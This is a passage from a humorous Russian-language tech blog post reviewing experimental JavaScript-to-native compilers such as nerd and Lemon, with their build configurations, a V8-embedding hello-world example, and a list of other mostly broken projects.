Несмотря на то что автор честно пишет о куче недоработок:

Work in progress: it works, but only about 70% of ES3 specification is currently supported: statements and expressions - 95%, built-in objects - 17%.

Скажу что это самый работоспособный проект из серии, все остальное буквально рассыпается в руках. Рассыпается и валится как и следующий объект исследования.

Дичь пятая: nerd

Как легко и быстро понять что исследуемый проект — дикое, нерабочее и глючное говно?

По описанию, обещающему бесконечные ништяки:

Javascript's God Mode. No VM. No Bytecode. No GC. Just native binaries.

Отсылка к чему-то божественному в описании технического проекта это вообще практически 100% диагноз, можно отбраковывать только по одному этому признаку — врядли ошибетесь.

Как нетрудно догадаться, вместо нормального JavaScript тут тоже что-то свое божественное:

NerdLang is a substract of JS with some additions, focus on efficiency.

И это «свое» скажем так застряло в далеком прошлом:

Supporting EcmaScript 3 standard

На минуточку, 3я редакция стандарта вышла еще в далеком 2000м году.

А сам проект пытается в который раз «натянуть сову на глобус» и залезть туда, где последовательно обломали клыки все крупные корпрорации уровня Google:

Nerd is a JavaScript native compiler aiming to make JavaScript universal, Nerd is able to compile native apps for Windows, Mac, Linux, iOS, Android, Raspberry, STM32 and more.

Разумеется я не мог пройти мимо такого, поэтому всю эту дичь собрал и запустил, хотя и пришлось немного исправлять скрипты сборки.

Пайплайн (присутствует на титульном скриншоте) выглядит вот так:

Автор настолько суров, что запихал инстукции сборки и линковки модуля работы с сокетами в package.json:

{
..
"version": "0.0.1",
"nerd":
{
"env": ["std"],
"read_only": [],
"lib":
{
"win32":
[
"-D_WIN32_WINNT=0x0600",
"-Wno-narrowing",
"-D_GNU_SOURCE",
"-I{__EXTERN__}/libuv/include/",
"-I{__EXTERN__}/libuv/src/",
"-D_CRT_SECURE_NO_DEPRECATE",
"-D_CRT_NONSTDC_NO_DEPRECATE",
"{__EXTERN__}/libuv/src/*.h",
"{__EXTERN__}/libuv/src/*.c",
"{__EXTERN__}/libuv/src/win/*.h",
"{__EXTERN__}/libuv/src/win/*.c",
"-I {__MODULE__}/httplib/uWS/",
"-I {__MODULE__}/httplib/uSockets/",
"{__MODULE__}/httplib/uSockets/*.c",
"{__MODULE__}/httplib/uSockets/crypto/*.c",
"{__MODULE__}/httplib/uSockets/eventing/*.c",
"-DLIBUS_NO_SSL",
"-DUWS_NO_ZLIB",
"-fpermissive",
"-w",
"-lm",
"-ladvapi32",
"-liphlpapi",
"-lpsapi",
"-lshell32",
"-luser32 ",
"-luserenv",
"-lwsock32",
"-lws2_32"
]
}
}
}

Увидев вот такой package.json, знакомый веб-разработчик решил навсегда уйти из профессии и теперь пасет коз в горах Кавказа. Ну а я всего лишь не рискнул адаптировать такое для сборки под Linux, так что вы останетесь без примера запуска HTTP-сервера на этом чудище.

Дичь шестая: lemon

Наконец последний на сегодня проект, который по сравнению с предыдущими является можно сказать нормальным и где-то даже применимым:

Lemon is a framework for building Javascript runtime software, built on the Chrome V8 Javascript Engine.

Мне он понравился своей предельной простотой (по сравнению со всеми остальными проектами) и легкостью встраивания.

Специально показываю скрипт сборки целиком:

CXX = g++
V8 = engine/lib/v8
define INCLUDE
$(V8)/include
engine/Core.cpp
engine/Environment.cpp
engine/Lemon.cpp
engine/StaticHelpers.cpp
engine/ObjectCreator.cpp
endef
define APP
app/*.cpp
endef
define LIB
$(V8)/out/x64.release/obj/
endef
define OBJ
v8_monolith
endef
export INCLUDE
export APP
export LIB
export OBJ
build:
(CXX) -I " class="formula inline">$INCLUDE $$APP -L $$LIB -l $$OBJ -std=c++0x -pthread -o lemon

И.. это все.

Настолько простую сборку V8 вижу впервые, честно.

Оно действительно собирается одной командой:

Ниже показано как выглядит двойной «Hello, world», в котором есть как часть на JavaScript так и часть на C++ — немного подумав объединил два примера из документации в один.

App.js:

version();
console.log("Превед из JS");
helloworld();

App.hpp:

#ifndef APP
#define APP

#include "../engine/Lemon.hpp"
using v8::Context;

class App : public Lemon {
public:
void Start(int argc, char* argv[]);
void SetupEnvironment();
};
#endif

App.cpp:

#include "App.hpp"

using namespace v8;

static void Log(const FunctionCallbackInfo<Value>& args) {
HandleScope scope(args.GetIsolate());
String::Utf8Value str(args.GetIsolate(), args[0]);
const char* cstr = StaticHelpers::ToCString(str);
fprintf(stdout, "%s", cstr);
fprintf(stdout, "\n");
fflush(stdout);
}
static void HelloWorld(const FunctionCallbackInfo<Value>& args) {
printf("Превед из C++ \n");
}
void App::SetupEnvironment() {
this->CreateGlobalMethod("helloworld", HelloWorld);
}
void App::Start(int argc, char* argv[]) {

for (int i = 1; i < argc; ++i) {
// Get filename of the javascript file to run
const char* filename = argv[i];
// Create a new context for executing javascript code
Local<Context> context = this->CreateLocalContext();
// Enter the new context
Context::Scope contextscope(context);
this->CreateGlobalObject("console")
.SetPropertyMethod("log", Log)
.Register();
// Run the javascript file
this->RunJsFromFile(filename);
}
}

Чудны дела твои Господи, коль даже перебирая запредельную дичь есть шанс найти столь мощный проект.

Спросите с чего столько радости?

Потому что это самый настоящий V8, не самопал с реализацией ECMAScript «в переводе Гоблина», а именно тот самый движок, который используется в браузере Chrome — со всеми оптимизациями и наворотами.

А значит при определенных усилиях, у вас будет работать практически любой JavaScript код — в вашем нативном приложении, без всяких жирных Node.js и всех проблем с линковкой и версиями.

Словом берите на вооружение, пригодится.

Одной строкой

Конечно же интересных проектов в области творения дичи куда больше чем хватит сил описать, поэтому ниже небольшая подборка найденного и интересного, но неработающего.

js-ziju

Compile javascript to LLVM IR, x86 assembly and self interpreting

К сожалению оказался прибит гвоздями к определенной версии MacOS, ни нормально собрать ни прогнать тесты под Linux не удалось. Интересен тем что в одном проекте собран и интерпретатор и компилятор, причем в нативный бинарник.

JS-ASM

JavaScript Assembler x86-16

Генерирует готовые COM-файлы времен DOS, но под эмулятором Dosbox они работать отказались.

Duktape

Duktape — embeddable Javascript engine with a focus on portability and compact footprint

Более продвинутый и известный аналог Lemon, который я нашел слишком поздно и не успел посмотреть.

clangor

«clang ported to js» — можно сразу в цитаты добавлять.

Сломанная и сильно устаревшая сборка, но сам проект — очень крутой, поскольку это полноценный компилятор Clang, вытащенный в веб.

Вот тут есть онлайн версия.

llvm.js

LLVM compiled to JavaScript using Emscripten

Снова сломанная и устаревшая сборка, починить за разумное время не получилось.

Она же в готовом виде онлайн.

jssat

Compile JS into LLVM IR - JavaScript Static Analysis Tool

Вот тут находится статья про этот проект, но мне собрать так и не удалось.

js2cpp

A toy js -> c++ compiler written in coffeescript. Uses escodegen to write c++ and tern to figure out types.

Опять сильно устаревшая и сломанная сборка.

js-to-c

Compiled implementation of Javascript, targeting C (for fun)

Половина тестов сломана, но сама сборка проходит — не стал детально изучать.

Letter

Letter is a compiler project built in TypeScript using LLVM node bindings.

Очень интересный, но к сожалению устаревший проект — требует 13й LLVM и старую же версию Node.js.

Подружить с новыми версиями LLVM и Node не удалось.

CaptCC

A tiny C compiler written purely in JavaScript.

Еще один интересный, но неработающий проект — сам компилятор отработал, но ассемблерный код отказался собираться.

Эпилог

Все описанные в этой статье проекты приведены в первую очередь для расширения границ вашего воображения — просто чтобы вы знали что так тоже бывает.

Пожалуйста не пытайтесь такое внедрять и использовать в рельном проекте, если не имеете за плечами серьезного опыта и/или профильного обучения.

Либо умеете быстро бегать и имеете запасное гражданство.

Статья была опубликована на Хабре, куда более вольная версия данной статьи доступна в нашем блоге.

Показать полностью 7
Отличная работа, все прочитано!

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества

Недвижимость и ремонт

Теги

Популярные авторы

Сообщества